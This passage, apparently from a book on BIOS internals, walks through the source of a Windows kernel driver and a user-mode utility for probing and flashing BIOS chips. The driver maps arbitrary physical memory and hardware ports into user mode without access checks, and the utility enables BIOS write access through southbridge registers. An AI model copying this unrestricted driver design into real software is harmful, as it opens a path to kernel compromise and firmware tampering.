NTSTATUS MapMmio(PDEVICE_OBJECT pDO, PIRP pIrp) 
/*++ 
Routine Description: 
    Process the IRPs with the IOCTL_MAP_MMIO code. 
    This routine maps a physical address range 
    to the user-mode application address space. 
 
Arguments: 
    pDO - Pointer to the device object of this driver. 
    pIrp - Pointer to an I/O request packet. 
 
Return Value: 
    NT Status code 
 
Notes: 
    This function can only map the area below the 4-GB limit. 
--*/ 
{ 
    PDEVICE_EXTENSION pDevExt; 
    PHYSICAL_ADDRESS phyAddr; 
    PMMIO_MAP pUsermodeMem; 
    ULONG   i, free_idx; 
 



    pDevExt = (PDEVICE_EXTENSION) pDO->DeviceExtension; 
 
    // 
    // Check for a free mapZone in the device extension. 
    // If none are free, return an error code. 
    // 
    for(i = 0; i < MAX_MAPPED_MMIO; i++) 
    { 
       if( pDevExt->mapZone[i].sysAddrBase == NULL ) 
       { 
           free_idx = i; 
           break; 
       } 
    } 
 
    if( i == MAX_MAPPED_MMIO ) 
    { 
       return STATUS_INVALID_DEVICE_REQUEST; 
    } 
 
    // 
    // a free mapZone has been obtained; map the physical address range. 
    // 
    pUsermodeMem =  (MMIO_MAP*) MmGetSystemAddressForMdlSafe( 
                                  pIrp->MdlAddress, NormalPagePriority ); 
    if( NULL == pUsermodeMem) { 
       return STATUS_INVALID_USER_BUFFER; 
    } 
 
    phyAddr.HighPart = 0; 
    phyAddr.LowPart = pUsermodeMem->phyAddrStart; 
 
    pDevExt->mapZone[free_idx].sysAddrBase = MmMapIoSpace( phyAddr, 
                                        pUsermodeMem->size, MmNonCached); 
    if(NULL == pDevExt->mapZone[free_idx].sysAddrBase) 
    { 
       return STATUS_BUFFER_TOO_SMALL; 
    } 
 
    pDevExt->mapZone[free_idx].pMdl = IoAllocateMdl( 
                                pDevExt->mapZone[free_idx].sysAddrBase, 
                                pUsermodeMem->size, FALSE, 
                                FALSE, NULL); 
    if(NULL == pDevExt->mapZone[free_idx].pMdl) 
    { 
       MmUnmapIoSpace( pDevExt->mapZone[free_idx].sysAddrBase, 
                       pUsermodeMem->size); 
       pDevExt->mapZone[free_idx].sysAddrBase = NULL; 
       return STATUS_BUFFER_TOO_SMALL; 
    } 
 



    pDevExt->mapZone[free_idx].size = pUsermodeMem->size; 
 
    // 
    // Map the system virtual address to the user-mode virtual address 
    // 
    MmBuildMdlForNonPagedPool(pDevExt->mapZone[free_idx].pMdl); 
    pDevExt->mapZone[free_idx].usermodeAddrBase = 
      MmMapLockedPagesSpecifyCache( pDevExt->mapZone[free_idx].pMdl, 
                                    UserMode, MmNonCached, 
                                    NULL, FALSE, NormalPagePriority); 
    if(NULL ==  pDevExt->mapZone[free_idx].usermodeAddrBase) 
    { 
       IoFreeMdl(pDevExt->mapZone[free_idx].pMdl); 
       MmUnmapIoSpace(pDevExt->mapZone[free_idx].sysAddrBase, 
                      pDevExt->mapZone[free_idx].size); 
       pDevExt->mapZone[free_idx].sysAddrBase = NULL; 
       pDevExt->mapZone[free_idx].size = 0; 
       return STATUS_BUFFER_TOO_SMALL; 
    } 
 
    // Copy the resulting user-mode virtual address to the IRP "buffer" 
    pUsermodeMem->usermodeVirtAddr = 
                             pDevExt->mapZone[free_idx].usermodeAddrBase; 
 
    return STATUS_SUCCESS; 
} 
 
 
NTSTATUS CleanupMmioMapping(PDEVICE_EXTENSION pDevExt, ULONG i) 
/*++ 
Routine Description: 
    This is routine cleanup the mapping of a MMIO range 
    and the resources it consumes. 
 
Arguments: 
    pDevExt - Pointer to the device extension of the driver. 
    i - Index of the mapZone to cleanup. 
 
Return Value: 
    NT Status code 
--*/ 
{ 
    if( NULL != pDevExt->mapZone[i].usermodeAddrBase ) 
    { 
       MmUnmapLockedPages( pDevExt->mapZone[i].usermodeAddrBase, 
                           pDevExt->mapZone[i].pMdl); 
       pDevExt->mapZone[i].usermodeAddrBase = NULL; 
    } 
 
    if( NULL != pDevExt->mapZone[i].pMdl ) 
    { 



       IoFreeMdl(pDevExt->mapZone[i].pMdl); 
       pDevExt->mapZone[i].pMdl = NULL; 
    } 
 
    if( NULL != pDevExt->mapZone[i].sysAddrBase ) 
    { 
        MmUnmapIoSpace( pDevExt->mapZone[i].sysAddrBase, 
                        pDevExt->mapZone[i].size); 
        pDevExt->mapZone[i].sysAddrBase = NULL; 
        pDevExt->mapZone[i].size = 0; 
    } 
 
    return STATUS_SUCCESS; 
} 
 
 
NTSTATUS UnmapMmio(PDEVICE_OBJECT pDO, PIRP pIrp) 
/*++ 
Routine Description: 
    Process the IRPs with the IOCTL_UNMAP_MMIO code. 
    This routine unmaps a previously mapped physical 
    address range. 
 
Arguments: 
    pDO - Pointer to the device object of this driver. 
    pIrp - Pointer to an I/O request packet. 
 
Return Value: 
    NT Status code 
 
Notes: 
    This function can only unmap the area 
    below the 4-GB limit. 
--*/ 
{ 
    PDEVICE_EXTENSION pDevExt; 
    PMMIO_MAP pMmioMap; 
    ULONG i; 
 
    // 
    // Unmap the requested zone from the system address space 
    // and update the device extension data. 
    // 
    pDevExt = (PDEVICE_EXTENSION) pDO->DeviceExtension; 
    pMmioMap = (PMMIO_MAP) MmGetSystemAddressForMdlSafe( 
                                  pIrp->MdlAddress, NormalPagePriority ); 
 
    for(i = 0 ; i < MAX_MAPPED_MMIO; i++) 
    { 
       if(pDevExt->mapZone[i].usermodeAddrBase == 
                                             pMmioMap->usermodeVirtAddr) 



       { 
           CleanupMmioMapping(pDevExt, i); 
           break; 
       } 
    } 
 
    return STATUS_SUCCESS; 
} 
 
 
NTSTATUS DispatchIoControl( IN PDEVICE_OBJECT pDO, IN PIRP pIrp ) 
 /*++ 
Routine Description: 
    IOCTL code dispatch routine. 
 
Arguments: 
    DeviceObject - Pointer to a device object. 
    Irp  - Pointer to the current I/O request packet. 
 
Return Value: 
    NT status code. 
--*/ 
{ 
    NTSTATUS status = STATUS_SUCCESS; 
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(pIrp); 
 
    switch(irpStack->Parameters.DeviceIoControl.IoControlCode) 
    { 
       case IOCTL_READ_PORT_BYTE: 
          { 
            if(irpStack->Parameters.DeviceIoControl.InputBufferLength >= 
                 sizeof(IO_BYTE)) { 
            status = ReadPortByte(pIrp); 
 
          } else { 
            status = STATUS_BUFFER_TOO_SMALL; 
          } 
          }break; 
 
       case IOCTL_READ_PORT_WORD: 
          { 
            if(irpStack->Parameters.DeviceIoControl.InputBufferLength >= 
                 sizeof(IO_WORD)) { 
            status = ReadPortWord(pIrp); 
 
          } else { 
            status = STATUS_BUFFER_TOO_SMALL; 
          } 
          } break; 
 
       case IOCTL_READ_PORT_LONG: 



          { 
            if(irpStack->Parameters.DeviceIoControl.InputBufferLength >= 
                 sizeof(IO_LONG)) { 
            status = ReadPortLong(pIrp); 
 
          } else { 
            status = STATUS_BUFFER_TOO_SMALL; 
          } 
          } break; 
 
       case IOCTL_WRITE_PORT_BYTE: 
          { 
            if(irpStack->Parameters.DeviceIoControl.InputBufferLength >= 
            sizeof(IO_BYTE)) { 
            status = WritePortByte(pIrp); 
 
          } else { 
            status = STATUS_BUFFER_TOO_SMALL; 
          } 
          } break; 
 
       case IOCTL_WRITE_PORT_WORD: 
          { 
            if(irpStack->Parameters.DeviceIoControl.InputBufferLength >= 
            sizeof(IO_WORD)) { 
            status = WritePortWord(pIrp); 
 
          } else { 
            status = STATUS_BUFFER_TOO_SMALL; 
          } 
          } break; 
 
       case IOCTL_WRITE_PORT_LONG: 
          { 
            if(irpStack->Parameters.DeviceIoControl.InputBufferLength >= 
            sizeof(IO_LONG)) { 
            status = WritePortLong(pIrp); 
          } else { 
            status = STATUS_BUFFER_TOO_SMALL; 
          } 
          } break; 
 
       case IOCTL_MAP_MMIO: 
          { 
            if( irpStack->Parameters.DeviceIoControl.InputBufferLength >= 
            sizeof(MMIO_MAP)) { 
            status = MapMmio(pDO, pIrp); 
          } else { 
            status = STATUS_BUFFER_TOO_SMALL; 
          } 
          } break; 



 
       case IOCTL_UNMAP_MMIO: 
          { 
            if(irpStack->Parameters.DeviceIoControl.InputBufferLength >= 
            sizeof(MMIO_MAP)) { 
            status = UnmapMmio(pDO, pIrp); 
          } else { 
            status = STATUS_BUFFER_TOO_SMALL; 
          } 
          } break; 
 
          default: 
              { 
              status = STATUS_INVALID_DEVICE_REQUEST; 
              }break; 
    } 
 
    // 
    // Complete the I/O request and return appropriate values. 
    // 
    pIrp->IoStatus.Status = status; 
 
    // Set the number of bytes to copy back to user mode. 
    if(status == STATUS_SUCCESS) 
    { 
       pIrp->IoStatus.Information = 
                 irpStack->Parameters.DeviceIoControl.OutputBufferLength; 
    } 
    else 
    { 
       pIrp->IoStatus.Information = 0; 
    } 
    IoCompleteRequest( pIrp, IO_NO_INCREMENT ); 
 
    return status; 
} 
 
 
NTSTATUS DispatchRead( IN PDEVICE_OBJECT pDO, IN PIRP pIrp ) 
 /*++ 
Routine Description: 
    Read dispatch routine. 
 
Arguments: 
    DeviceObject - Pointer to a device object. 
    Irp  - Pointer to the current I/O request packet. 
 
Return Value: 
    NT status code. 
 
Note: 



    This function does nothing. It's merely a placeholder 
    to satisfy the need of the user-mode code to open the driver 
    with a GENERIC_READ parameter. 
--*/ 
{ 
    // Just complete the I/O request right away. 
    pIrp->IoStatus.Status = STATUS_SUCCESS; 
    pIrp->IoStatus.Information = 0; 
    IoCompleteRequest( pIrp, IO_NO_INCREMENT ); 
 
    return STATUS_SUCCESS; 
} 
 
 
NTSTATUS DispatchWrite( IN PDEVICE_OBJECT pDO, IN PIRP pIrp ) 
/*++ 
Routine Description: 
    Write dispatch routine. 
 
Arguments: 
    DeviceObject - Pointer to a device object. 
    Irp  - Pointer to the current I/O request 
 
Return Value: 
    NT status code. 
 
Note: 
    This function does nothing. It's merely a placeholder 
    to satisfy the need of the user-mode code to open the driver 
    with a GENERIC_WRITE parameter. 
--*/ 
{ 
    // Just complete the I/O request right away. 
    pIrp->IoStatus.Status = STATUS_SUCCESS; 
    pIrp->IoStatus.Information = 0; 
    IoCompleteRequest( pIrp, IO_NO_INCREMENT ); 
 
    return STATUS_SUCCESS; 
} 
 
 
NTSTATUS 
DispatchClose( 
    IN PDEVICE_OBJECT DeviceObject, 
    IN PIRP Irp 
    ) 
/*++ 
Routine Description: 
   Process the close IRPs sent to this device. 
 
Arguments: 



   DeviceObject - Pointer to a device object. 
   Irp - pointer to an I/O Request Packet. 
 
Return Value: 
      NT status code 
 
Note: 
    This function clean ups the mapped MMIO ranges that 
    haven't been cleaned up by a "buggy" user-mode application. 
--*/ 
{ 
    PDEVICE_EXTENSION pDevExt; 
    ULONG       i; 
    NTSTATUS    status = STATUS_SUCCESS; 
 
    BIOS_PROBE_KDPRINT(("DispatchClose Enter\n")); 
 
    pDevExt = DeviceObject->DeviceExtension ; 
 
    // 
    // Clean up the mapped MMIO space in case the user-mode 
    // application forgets to call UnmapMmio for some MMIO zones. 
    // This is to guard against some buggy user-mode application. 
    // 
    for(i = 0; i < MAX_MAPPED_MMIO; i++) 
    { 
       if(pDevExt->mapZone[i].sysAddrBase != NULL) 
       { 
           CleanupMmioMapping(pDevExt, i); 
       } 
    } 
 
    // 
    // The IRP_MJ_CLOSE dispatch routine is called when a file object 
    // opened on the driver is being removed from the system; that is, 
    // all file object handles have been closed and the reference count 
    // of the file object must be down to zero. 
    // 
    BIOS_PROBE_KDPRINT(("IRP_MJ_CLOSE\n")); 
    Irp->IoStatus.Information = 0; 
 
    // 
    // Save status for return and complete IRP. 
    // 
    Irp->IoStatus.Status = status; 
    IoCompleteRequest(Irp, IO_NO_INCREMENT); 
 
    BIOS_PROBE_KDPRINT((" DispatchClose Exit = %x\n", status)); 
 
    return status; 
} 



 
 
VOID 
DispatchUnload( IN PDRIVER_OBJECT DriverObject ) 
/*++ 
Routine Description: 
    Free all allocated resources, etc. 
 
Arguments: 
    DriverObject - Pointer to a driver object. 
 
Return Value: 
    VOID 
--*/ 
{ 
    PDEVICE_OBJECT  deviceObject = DriverObject->DeviceObject; 
    UNICODE_STRING  uniWin32NameString; 
 
    BIOS_PROBE_KDPRINT(("DispatchUnload Enter\n")); 
 
    // 
    // Create counted string version of the Win32 device name. 
    // 
 
    RtlInitUnicodeString( &uniWin32NameString, 
                          BIOS_PROBE_DOS_DEVICE_NAME_U ); 
 
    IoDeleteSymbolicLink( &uniWin32NameString ); 
 
    ASSERT(!deviceObject->AttachedDevice); 
 
    IoDeleteDevice( deviceObject ); 
 
    BIOS_PROBE_KDPRINT(("DispatchUnload Exit\n")); 
    return; 
} 
 
 Listing 9.11 shows the implementation of functions declared in listing 9.10. I'll 
explain the functions one by one. 
 The DriverEntry function executes when Windows loads the device driver into 
memory. The first thing this function does is install the function pointers for the driver 
"services":12

 
    DriverObject->DriverUnload = DispatchUnload; 
 
    DriverObject->MajorFunction[IRP_MJ_CREATE]= DispatchCreate; 
    DriverObject->MajorFunction[IRP_MJ_CLOSE] = DispatchClose; 

                                                 
12 Services in this context are the subroutines or functions that the driver provides for a user-mode 
application to use. They are requested by the user-mode application through the Windows API. 



    DriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead; 
    DriverObject->MajorFunction[IRP_MJ_WRITE] = DispatchWrite; 
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = 
                                                DispatchIoControl; 
 
 DriverObject in the preceding code snippet is a pointer to the driver object for 
bios_probe. It's passed by the Windows kernel to the driver when the kernel initializes 
the driver. Several function pointers must be initialized. You saw that the function pointer 
members of the driver object are initialized to point to the functions that previously have 
been declared in the header file. For example, the DriverUnload member of the driver 
object is initialized with a pointer to the DispatchUnload function. DriverUnload is the 
function executed when the driver is unloaded from memory. This function pointer must be 
initialized for the device driver to work. Next, the MajorFunction array is for members of 
the driver object. This array contains pointers to functions that deal with IRPs. Once the 
members of this array are being initialized, the I/O manager will pass the right IRP into its 
associated function in the bios_probe driver when a user-mode application is requesting a 
service from the driver. For example, when a user-mode application calls the CreateFile 
API to open a handle to the driver, the driver will serve this request in the function pointed 
to by the MajorFunction[IRP_MJ_CREATE] member of the bios_probe driver object, 
DispatchCreate. When a user-mode application calls the CloseHandle API and passes 
the handle of the bios_probe driver that it receives from a previous call to the 
CreateFile API as the input parameter to CloseHandle, the driver will serve this 
request in the function pointed to by the MajorFunction[IRP_MJ_CLOSE] member of 
the bios_probe driver object, DispatchClose. As for the function pointed to by the 
MajorFunction[IRP_MJ_READ] member of the driver object, it will be called when a 
user-mode application calls the ReadFile API and passes the handle of the bios_probe 
driver. Furthermore, DispatchWrite deals with the call to the WriteFile API, and 
DispatchIoControl deals with the call to the DeviceIoControl API. Note that each of 
the function pointer members of the MajorFunction array is called from the user mode 
through the Windows API. The Windows API in turn "calls" the I/O manager. Then, the 
I/O manager generates the IRP to inform the driver to respond with the right function to 
serve the user-mode application. The process of "calling" the functions pointed to by the 
MajorFunction array is shown in figure 9.4. 
 



 
Figure 9.4 "Calling" the member of MajorFunction array from the user-mode application 

 
 How can the user-mode application open a handle to the driver? The driver must 
be visible to the user-mode application to achieve that. A device driver can be visible to the 
user-mode application in Windows 2000/XP through the object manager. This part of 
Windows 2000/XP manages the objects within the operating system. Everything that has 
been exported to the object manager namespace will be visible to the user-mode application 
and can be opened through the CreateFile API. The driver name13 is exported by 
creating a Unicode name for the driver with the RtlInitUnicodeString kernel function: 
 
   RtlInitUnicodeString(&unicodeDeviceName, BIOS_PROBE_DEVICE_NAME_U); 
 
 Then, pointer to the resulting Unicode name is used as the third parameter in the 
call to IoCreateDevice when you create the device for the driver. This way, the driver 
will be visible to the user-mode code. However, you have to traverse the object manager 
namespace to arrive at the driver, i.e., pass \\\\.\\Device\\unicodeDeviceName14 as the 
first parameter to the CreateFile function. The CreateFile function is defined as 
follows: 
 
HANDLE CreateFile( 
  LPCTSTR lpFileName, 
  DWORD dwDesiredAccess, 
  DWORD dwShareMode, 
  LPSECURITY_ATTRIBUTES lpSecurityAttributes, 
  DWORD dwCreationDisposition, 
  DWORD dwFlagsAndAttributes, 
  HANDLE hTemplateFile ); 
 

                                                 
13 The driver name as seen from object manager is not the file name of the driver. 
14 The unicodeDeviceName string is only a place holder. You have to change it to the real name of the 
device. 



 In many cases, a symbolic link is created by the DriverEntry function to ease 
the user-mode application. The bios_probe driver is no exception in this case. You saw 
the following in listing 9.11: 
 
    // 
    // Allocate and initialize a Unicode string containing the Win32 name 
    // for the device. 
    // 
    RtlInitUnicodeString( &unicodeDosDeviceName, 
                          BIOS_PROBE_DOS_DEVICE_NAME_U ); 
 
 
    status = IoCreateSymbolicLink( 
                (PUNICODE_STRING) &unicodeDosDeviceName, 
                (PUNICODE_STRING) &unicodeDeviceName 
                ); 
 
 In this snippet, a symbolic link is created. Thus, the CreateFile function can 
open a handle to the driver by just passing \\\\.\\unicodeDosDeviceName.15 
Nonetheless, it's a matter of taste whether to create a symbolic link or not. 
 Functions pointed to by the MajorFunction member of the driver object have a 
common syntax: 
 
NTSTATUS FunctionName( IN PDEVICE_OBJECT pDO, IN PIRP pIrp ) 
 
 The I/O manager passed two parameters to these functions when they are being 
called. The first parameter is a pointer to the device object associated with the driver, 
and the second is a pointer to the IRP data structure in the nonpaged pool of the kernel 
memory space. 
 Remember that device object is different from driver object. There is only 
one driver object for each driver; there can be more than one device object for 
each driver, i.e., if the driver contains more than one device. How do you know if a driver 
contains more than one device object? Just look at how many times the driver calls the 
IoCreateDevice function in its source code. Every call to IoCreateDevice creates one 
device object. That is if the function call was successful. In the bios_probe driver, this 
function is called only once, during the execution of the DriverEntry function: 
 
   status = IoCreateDevice( DriverObject, 
                            sizeof(DEVICE_EXTENSION), 
                            &unicodeDeviceName, 
                            FILE_DEVICE_UNKNOWN, 
                            0, 
                            (BOOLEAN) FALSE, 
                            &deviceObject); 

                                                 
15 The unicodeDosDeviceName string is only a place holder. You have to change it to the real 
symbolic link name of the device. 



 
 In the end of DriverEntry function execution, the contents of the device 
extension are initialized. The device extension contains information about mapping the 
BIOS chip into user-mode application: 
 
typedef struct _MMIO_RING_0_MAP{ 
    PVOID sysAddrBase;      // The starting system virtual address of 
                            // the mapped physical address range 
    ULONG size;             // Size of the mapped physical address range 
    PVOID usermodeAddrBase; // Pointer to the user-mode virtual address 
                            // where this range is mapped 
    PMDL pMdl;              // Memory descriptor list for the 
                            // MMIO range to be mapped 
}MMIO_RING_0_MAP, *PMMIO_RING_0_MAP; 
 
typedef struct _DEVICE_EXTENSION{ 
    MMIO_RING_0_MAP mapZone[MAX_MAPPED_MMIO]; 
}DEVICE_EXTENSION, *PDEVICE_EXTENSION; 
 
 In the preceding code snippet, it's clear that the device extension data structure is 
capable to map physical address ranges. The maximum number of ranges that can be 
mapped by the device extension is MAX_MAPPED_MMIO. 
 I'm not going to explain the DispatchCreate function because this function does 
nothing. It's just setting the "success" value to return to the I/O manager when it's invoked. 
It exists merely to satisfy the requirement to respond the CreateFile and CloseHandle 
API with the right value when a user-mode application opens the access to the driver. 
 The most important part of the driver is the IOCTL code handler. Most 
communication between the user-mode application and the bios_probe driver occurs 
using IOCTL code. Once a handle to the driver is successfully opened, IOCTL code will 
flow to the driver. The code is handled by DispatchIoControl function. In this function, 
the IOCTL code is examined in a big switch statement and the appropriate handler 
function is called to serve the request. For example, when an IOCTL code of the type 
READ_PORT_BYTE is accepted, the DispatchIoControl function will invoke 
ReadPortByte. ReadPortByte then responds by fetching a byte from the requested 
hardware port and transfer the result to the user-mode application. Note that some parts of 
ReadPortByte is implemented as an inline assembly routine because the code is dealing 
with the hardware directly. All similar handler functions, i.e., ReadPortWord, 
ReadPortLong, WritePortByte, WritePortWord, and WritePortLong, work 
similarly to ReadPortByte. The differences lie in the sizes of the function parameters that 
they work with and in the types of operations they carry out. Functions that start with the 
word write carry out a write operation to the designated hardware port. 
 Other functions invoked by DispatchIoControl are MapMmio and UnmapMmio. 
These functions map and unmapped the physical address16 ranges to/from the virtual 
address space of the user-mode application. The BIOS address range is a MMIO address 

                                                 
16 This physical address space includes the BIOS chip address space. 



range. You can map a certain MMIO address range into the virtual address space of a user-
mode application17 as follows: 
 

1. Map the I/O address range from the physical address space into the kernel's virtual 
address space with the MmMapIoSpace function. 

2. Build a memory descriptor list (MDL) to describe the I/O address range that's 
mapped into the kernel's virtual address space in step 1. 

3. Map the I/O address range from the kernel's virtual address space obtained in step 
1 into the user-mode virtual address space with the 
MmMapLockedPagesSpecifyCache function. The first parameter of this function 
is the MDL obtained in step 2. 

4. The return value of step 3 is a pointer to the starting address of the mapped I/O 
address range as seen from the virtual address space of the user-mode application. 

 
 The preceding steps are accomplished in the MapMmio function: 
 
NTSTATUS MapMmio(PDEVICE_OBJECT pDO, PIRP pIrp) 
/*++ 
Routine Description: 
    Process the IRPs with the IOCTL_MAP_MMIO code. 
    This routine maps a physical address range 
    to the user-mode application address space. 
 
Arguments: 
    pDO - Pointer to the device object of this driver. 
    pIrp - Pointer to an I/O request packet. 
 
Return Value: 
    NT Status code 
 
Notes: 
    This function can only map the area below the 4-GB limit. 
--*/ 
{ 
    PDEVICE_EXTENSION pDevExt; 
    PHYSICAL_ADDRESS phyAddr; 
    PMMIO_MAP pUsermodeMem; 
    ULONG   i, free_idx; 
 
    pDevExt = (PDEVICE_EXTENSION) pDO->DeviceExtension; 
 
    // 
    // Check for a free mapZone in the device extension. 
    // If none is free, return an error code. 
    // 
    for(i = 0; i < MAX_MAPPED_MMIO; i++) 
    { 

                                                 
17 The I/O address range is mapped in the kernel mode device driver. 



       if( pDevExt->mapZone[i].sysAddrBase == NULL ) 
       { 
           free_idx = i; 
           break; 
       } 
    } 
 
    if( i == MAX_MAPPED_MMIO ) 
    { 
       return STATUS_INVALID_DEVICE_REQUEST; 
    } 
 
    // 
    // A free mapZone has been obtained; map the physical address range. 
    // 
    pUsermodeMem =  (MMIO_MAP*) MmGetSystemAddressForMdlSafe( 
                                  pIrp->MdlAddress, NormalPagePriority ); 
     // Error handler code omitted 
 
    phyAddr.HighPart = 0; 
    phyAddr.LowPart = pUsermodeMem->phyAddrStart; 
 
    pDevExt->mapZone[free_idx].sysAddrBase = MmMapIoSpace( phyAddr, 
                                        pUsermodeMem->size, MmNonCached); 
     // Error handler code omitted 
 
    pDevExt->mapZone[free_idx].pMdl = IoAllocateMdl( 
                                pDevExt->mapZone[free_idx].sysAddrBase, 
                                pUsermodeMem->size, FALSE, 
                                FALSE, NULL); 
     // Error handler code omitted 
 
    pDevExt->mapZone[free_idx].size = pUsermodeMem->size; 
 
    // 
    // Map the system virtual address to the user-mode virtual address 
    // 
    MmBuildMdlForNonPagedPool(pDevExt->mapZone[free_idx].pMdl); 
    pDevExt->mapZone[free_idx].usermodeAddrBase = 
      MmMapLockedPagesSpecifyCache( pDevExt->mapZone[free_idx].pMdl, 
                                UserMode, MmNonCached, 
                                NULL, FALSE, NormalPagePriority); 
     // Error handler code omitted 
 
    // Copy the resulting user-mode virtual address to the IRP "buffer" 
    pUsermodeMem->usermodeVirtAddr = 
                             pDevExt->mapZone[free_idx].usermodeAddrBase; 
 
    return STATUS_SUCCESS; 
} 
 



 The reverse of mapping the BIOS address space into a user-mode application is 
carried out in UnmapMmio. This function must be called when you are done tinkering with 
the BIOS chip in your user-mode application. Otherwise, the system probably crashed. 
Nonetheless, I have added a workaround for a user-mode application that fails to do so in 
the bios_probe device driver. This workaround is placed in the DispatchClose function. 
 
 
9.3.2. User-Mode Application of bios_probe 
 
 The original user-mode component of flash_n_burn in Linux supports many 
flash ROM chips. In this subsection I won't explain support for all of those chips in 
bios_probe. I will just take one example: Winbond W39V040FA. 
 The user-mode part of bios_probe consists of two logical components: 
 

1. The main application. This component consists of several files: direct_io.c, 
error_msg.c, flash_rom.c, jedec.c, direct_io.h, error_msg.h, flash.h, jedec.h, and 
all other source files for flash ROM chip support. The name of the flash ROM 
support files are the same as the chip names or part numbers. Bios_probe 
execution starts in flash_rom.c file. Flash_rom.c contains the entry point function, 
main. This main application is based on bios_probe source code from the 
Freebios project. 

 
2. The PCI library. The files of this component are placed in libpci directory inside 

the exe directory. Its purpose is to detect the PCI devices that exist in the system 
and construct objects to represent them. The data structure is used by the main 
application to enable access to the BIOS chip through the southbridge that exists in 
the system. This component consists of several files, i.e., access.c, filter.c, 
generic.c, i386-ports.c, header.h, internal.h, and pci.h. This library is a Windows 
port of the original PCI library in pciutils version 2.1.11 for Linux by Martin 
Mares. I removed many files from the original library to slim it down and keep the 
source code manageable; bios_probe doesn't need them. 

 
 I explain the components individually in the next subsections. The explanation for 
the PCI library is brief. 
 
 
9.3.2.1. The Main Application 
 
 I start with a short explanation of the purpose of each file in the main application 
source code: 
 

• flash_rom.c. This file contains the entry point to bios_probe, i.e., the main 
function. It also contains the routine to invoke the PCI library, the routine to 
enable access to the flash ROM chip through the southbridge, and an array of 
objects that contain the support functions for the flash ROM chips. The 



implementation of the flash ROM chip handler exists in the support file for each 
type of flash ROM. 

• flash.h. This file contains the definition of a data structure named flashchip. 
This data structure contains the function pointers and variables needed to access 
the flash ROM chip. The file also contains the vendor identification number and 
device identification number for the flash ROM chip that bios_probe supports. 

• error_msg.h. This file contains the display routine that declares error messages. 
• error_msg.c. This file contains the display routine that implements error messages. 

The error-message display routine is regarded as a helper routine because it doesn't 
posses anything specific to bios_probe. 

• direct_io.h. This file contains the declaration of functions related to bios_probe 
device driver. Among them are functions to directly write and read from the 
hardware port. 

• direct_io.c. This file contains the implementation of functions declared in 
direct_io.h and some internal functions to load, unload, activate, and deactivate the 
device driver. 

• jedec.h. This file contains the declaration of functions that is "compatible" for 
flash ROM from different manufacturers and has been accepted as the JEDEC 
standard. Note that some functions in jedec.h are not just declared but also 
implemented as inline functions. 

• jedec.c. This file contains the implementation of functions declared in jedec.h. 
• Flash_chip_part_number.c. This is not a file name but a placeholder for the files 

that implement flash ROM support. Files of this type are w49f002u.c, 
w39v040fa.c, etc. 

• Flash_chip_part_number.h. This is not a file name but a placeholder for the files 
that declare flash ROM support. Files of this type are w49f002u.h, w39v040fa.h, 
etc. 

 
 Consider the execution flow of the main application. First, remember that with 
ctags and vi you can decipher program flow much faster than going through the files 
individually. Listing 9.12 shows the condensed contents of flash_rom.c. 
 

Listing 9.12 Condensed flash_rom.c 

/* 
 * flash_rom.c: Flash programming utility for SiS 630/950 M/Bs 
 * 
 * 
 * Copyright 2000 Silicon Integrated System Corporation 
 * 
 *     This program is free software; you can redistribute it and/or 
 *     modify it under the terms of the GNU General Public License as 
 *     published by the Free Software Foundation; either version 2 of the 
 *     License, or (at your option) any later version. 
 * 
 *     ... 



 * 
 * $Id: flash_rom.c,v 1.23 2003/09/12 22:41:53 rminnich Exp $ 
 */ 
#include <windows.h> 
#include <stdio.h> 
#include <string.h> 
#include <stdlib.h> 
 
#include "libpci/pci.h" 
#include "error_msg.h" 
#include "direct_io.h" 
 
#include "flash.h" 
#include "jedec.h" 
#include "m29f400bt.h" 
#include "msys_doc.h" 
#include "am29f040b.h" 
#include "sst28sf040.h" 
#include "w49f002u.h" 
#include "w39v040fa.h" 
#include "82802ab.h" 
#include "sst39sf020.h" 
#include "mx29f002.h" 
 
struct flashchip flashchips[] = { 
 
    // Irrelevant entries omitted 
 
    {"W49F002U",    WINBOND_ID, W_49F002U,    NULL, 256, 128, 
     probe_49f002,   erase_49f002,   write_49f002, NULL, NULL}, 
    {"W39V040FA",   WINBOND_ID, W_39V040FA,    NULL, 512, 4096, 
    /* TODO: The sector size must be correct! */ 
     probe_39v040fa,   erase_39v040fa,   write_39v040fa, NULL, NULL}, 
 
    // Irrelevant entries omitted 
 
    {NULL,}}; 
 
char *chip_to_probe = NULL; 
 
// Irrelevant code omitted 
 
int 
enable_flash_vt82C596B(struct pci_dev *dev, char *name) { 
  unsigned char val; 
 
  // Enable the FFF00000h-FFF7FFFFh, FFF80000h-FFFDFFFFh, and 
  // FFFE0000h-FFFEFFFFh ranges to be decoded as memory 
  // access to the BIOS flash ROM chip 
  val = pci_read_byte(dev, 0x43); 
  val |= 0xE0; 



  pci_write_byte(dev, 0x43, val); 
 
  if (pci_read_byte(dev, 0x43) != val) { 
    printf("tried to set 0x%x to 0x%x on %s failed (WARNING ONLY)\n", 
           0x43, val, name); 
    return -1; 
  } 
 
  // Enable flash BIOS writing in VIA 596B 
  val = pci_read_byte(dev, 0x40); 
  val |= 0x01; 
  pci_write_byte(dev, 0x40, val); 
 
  if (pci_read_byte(dev, 0x40) != val) { 
    printf("tried to set 0x%x to 0x%x on %s failed (WARNING ONLY)\n", 
           0x40, val, name); 
    return -1; 
  } 
  return 0; 
} 
 
int enable_flash_i82801EB(struct pci_dev *dev, char *name) { 
  // Register 4e.b gets or'ed with one  
  unsigned char old, new; 
  // If it fails, so what? There are so many variations of broken  
  // motherboards that it is hard to argue that you should quit at  
  // this point. 
    
  // Initialize the Flash_BIOS_Decode_Enable_1 register  
  old = pci_read_byte(dev, 0xe3); 
  new = old | 0xff; 
 
  if (new == old) 
      return 0; 
 
  pci_write_byte(dev, 0xe3, new); 
 
  if (pci_read_byte(dev, 0xe3) != new) { 
    printf("tried to set 0x%x to 0x%x on %s failed (WARNING ONLY)\n", 
           0xe3, new, name); 
    return -1; 
  } 
 
  // BIOS control register, write enable  
  old = pci_read_byte(dev, 0x4e); 
  new = old | 1; 
 
  if (new == old) 
      return 0; 
 
  pci_write_byte(dev, 0x4e, new); 



 
  if (pci_read_byte(dev, 0x4e) != new) { 
    printf("tried to set 0x%x to 0x%x on %s failed (WARNING ONLY)\n", 
           0x4e, new, name); 
    return -1; 
  } 
  return 0; 
} 
 
 
struct flashchip * probe_flash(struct flashchip * flash) 
{ 
    volatile char * bios; 
    unsigned long size; 
       volatile char * chip_addr; 
       SYSTEM_INFO si; 
 
    while (flash->name != NULL) { 
